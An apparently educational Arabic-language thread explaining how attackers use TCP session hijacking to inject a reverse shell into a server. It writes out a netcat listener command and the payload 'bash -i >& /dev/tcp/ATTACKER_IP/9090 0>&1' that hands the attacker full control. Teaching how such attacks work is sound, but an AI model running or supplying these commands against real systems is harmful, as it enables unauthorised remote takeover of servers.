✅🏴☠️Reverse Shell Using TCP Session Hijacking
في التغريدات السابقة تكلمنا عن هجوم اختطاف جلسة TCP وتنفيذ أوامر ضارة على السرفر…
🔺 التكنيك السابق يكون مناسب في حالة كنا مهتمين بحقن وتنفيذ أمر واحد على السرفر ،، ولكن في حالة تنفيذ عدة أوامر يعتبر هذا الاسلوب غير عملي، لأن بكل مره تحتاج تختطف الجلسة وتنفذ أمر معين،، ف يعتبر اسلوب غير عملي…
📌 الهاكرز عادةً يحتاجون ينفذون عدة أوامر وليس أمر واحد فقط،،،ولتحقيق هالشيء فأفضل طريقة لتنفيذه هي تشغيل برنامج شل Shell Program-bash
🤔 ممكن بتقول أوك الموضوع بسيط،، بدال ما أني اكتب أمر لانشاء ملف أو تنزيل صورة من النت "زي ما شفنا بالفيديو السابق" راح اشغل برنامج الشل
/bin bash
بالتالي البرنامج بيشتغل وبيتنفذ،،،،،هذا الكلام صحيح ،، اذا نفذت هذا الأمر بيشتغل البرنامج على جهاز السرفر "الضحية"..
📌 بس المشكلة وين؟?
🔴 المشكلة في الانبوت لهذا البرنامج،،،بياخذها من نفس السرفر وكذلك الاوتبوت بياخذه من نفس السرفر ،، بمعنى ما استفدنا ولا شيء لأن اساسا ماعندنا وصول لبرنامج الباش نفسه ع السرفر عشان نعطيه الانبوت "الاوامر " اللي نبي ينفذها وبنفس الوقت مانقدر نشوف المخرجات لأن اساسا قاعده تنطبع ع السرفر نفسه مب جهاز الأتاكر..
🔺 ف ياه نفس ماقلنا نقدر نحقن الأمر وبيشتغل وكل شيء تمام بس ماراح نقدر نكتب أوامر ونشوف النتائج لأنه قاعد يشتغل ع السرفر و لأننا ببساطة مب قدام الجهاز نفسه،،فما عندنا أي كنترول ع هالشيء فما يهم فعليا شغلت البرنامج ولا لا لأن ماراح تستفيد منه بهذي الطريقة..
🔺 السؤال ،،كيف نحل هذي المشكلة،،،بمعنى كيف نشغل برنامج الشل bash ويصير ياخذ الانبوت "الاوامر" منا وبنفس الوقت اذا بيطبع شيء ينطبع ع جهازنا "كمهاجمين" بدال ما ينطبع على جهاز الضحية"السرفر".
📝 نحتاج الى طريقة بحيث ان الانبوت والاوتبوت للبرنامج هذا نعيد توجيهها i/o redirection بحيث تجي وتروح لجهاز المهاجم،، يعني نحتاج نعكس reverse الطريقة التقليدية لاخذ المدخلات والمخرجات باعادة توجيهها لجهاز اخر
✅ هذي هي الفكرة الرئيسية و باختصار لما يسمى ب Reverse Shell وهو الهجوم اللي راح ننفذ هذي المرة ،،
عملية فهم مبدأ وعمل Reverse Shell بعمق وبشكل كبير يتطلب منك معرفة متوسطة بأساسيات عمل النظام زي مثلا file descriptor , standard I/O redirection وغيرها
ولكن هذي المفاهيم الأساسية خارج سكوب هذا الموضوع كوننا نتكلم عن سايبر أتاكس ولأن بيطول الكلام أكثر من كذا لو بنتكلم عنها ولكن بحاول اذا جينا للأوامر أعلق عليها بشكل مختصر..
📝 خلونا نرتب الأفكار:
أولا: اختطاف جلسة TCP مناسبة عند الرغبة بتنفيذ أمر واحد فقط،،
ثانيا: الهاكرز يبحثون عن طريقة تمنكهم من اعطاء عدة أوامر وليس أمر واحد فقط.
ثالثا: احد الطرق الممكنة لتنفيذ هذا الشيء هو ما يسمى ب Reverse Shell
رابعا: : Reverse Shell
هو عبارة عن أسلوب شائع يستخدم في السايبر "سواءً لأغراض مشروعة أو ضارة"، بحيث يسمح لطرف خارج"المهاجم" ببدء برنامج command shell على جهاز اخر"الضحية"،، بالتالي منح هذا الطرف "المهاجم "تحكم كامل على هذا الجهاز"الضحية".
بالعادة في shell التقليدي أو العادي ،، العميل يتصل بالسرفر ويعطيه الأوامر لتنفيذها،، هنا بيصير العكس تماما عشان كذا نسميه Reverse shell وهو أن السرفر يسوي اتصال عكسي لجهاز المهاجم ونسوي اعادة توجيه للمدخلات والمخرجات الى جهاز المهاجم.
كيف يعمل Reverse Shell؟
How Reverse Shell Works?
✅1.Listner Setup :
في هذي الخطوة المهاجم يقوم بتجهيز "مستمع Listener " على جهازه عشان يستقبل الاتصالات ،، هالشيء يتم بعدة طرق و أدوات من أشهرها طبعًا nectat
اللي بنسويه هنا كماهجمين،،،نفتح اتصال nectat على port معين مثلا 4444 او 9090 او غيره ونصير ننتظر الاتصالات اللي بتجي.
ليه احتجنا هالشيء؟ لأن باختصار قلنا في البداية ان السرفر "الضحية "بيعكس الاتصال وبيوديه لجهاز اخر،،،هنا احنا فتحنا مستمع عشان اذا جاء الاتصال من السرفر نستقبله وبكذا صار متصل فينا ونقدر نعطيه الاوامر اللي نبي ونشوف المخرجات.
هذا الامر اللي بنحتاجه
nc -lvnp 4444
or
nc -l -p 9090
✅2. Execution
على جهاز الضحية نحقن الأمر لتشغيل برنامج الشل
طبعا احنا بنختطف جلسة TCP ونحقن الأمر اللي بيشغل برنامج الشل على السرفر زي مثلا:
bash -i >& /dev/tcp/ATTACKER_IP/9090 0>&1
هنا قاعدين نقوله: شغل برنامج الشل، وسويلي اعادة توجيه للانبوت والاوتبوت الى عنوان ip المعطى على البورت port المعطى
✅3. Command Execution
الى هذي اللحظة ومن خلال الاتصال اللي تم انشاءه صار المهاجم عنده تحكم كامل على السرفر ، بمعنى الحين يقدر ينفذ أي اوامر يبيها وكأنه امام السرفر حرفيًا.
"يعتمد على مستوى الوصول لبرنامج الشل اللي اشتغل ومدى الصلاحيات الممنوحه له ولكن نقدر نرقيها في حالة احتجنا بأساليب اخرى خارج سكوب الموضوع ذا"